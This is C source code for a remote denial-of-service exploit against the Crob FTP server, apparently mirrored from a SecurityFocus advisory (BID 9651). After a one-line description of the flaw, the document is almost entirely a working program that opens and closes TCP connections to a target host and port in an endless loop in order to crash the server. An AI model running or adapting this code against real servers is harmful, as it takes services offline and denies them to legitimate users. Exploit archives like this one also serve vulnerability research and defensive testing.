45 lines
No EOL
1.1 KiB
C
45 lines
No EOL
1.1 KiB
C
source: http://www.securityfocus.com/bid/9651/info
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It has been reported that the Crob FTP server is prone to a remote denial of service vulnerability. An attacker may exploit this issue to cause the affected server to crash, denying service to legitimate users.
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/******************************/
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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int main(int argc, char *argv[])
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{
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int s;
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struct sockaddr_in target;
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if(argc < 2)
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{
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printf("Usage: %s HOST [PORT]\n\n",argv[0]);
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return 0;
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}
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do
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{
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s = socket(AF_INET, SOCK_STREAM, 0);
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target.sin_family = AF_INET;
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target.sin_port = htons(atoi(argv[2]));
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target.sin_addr.s_addr = inet_addr(argv[1]);
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printf("- connecting...\n");
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if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)
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{
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printf(" connect() error!\n\n");
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exit(-1);
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}
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printf(" connected\n");
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printf(" closing connection\n");
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close(s);
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}
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while(1);
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return 0;
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}
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/*******************************/ |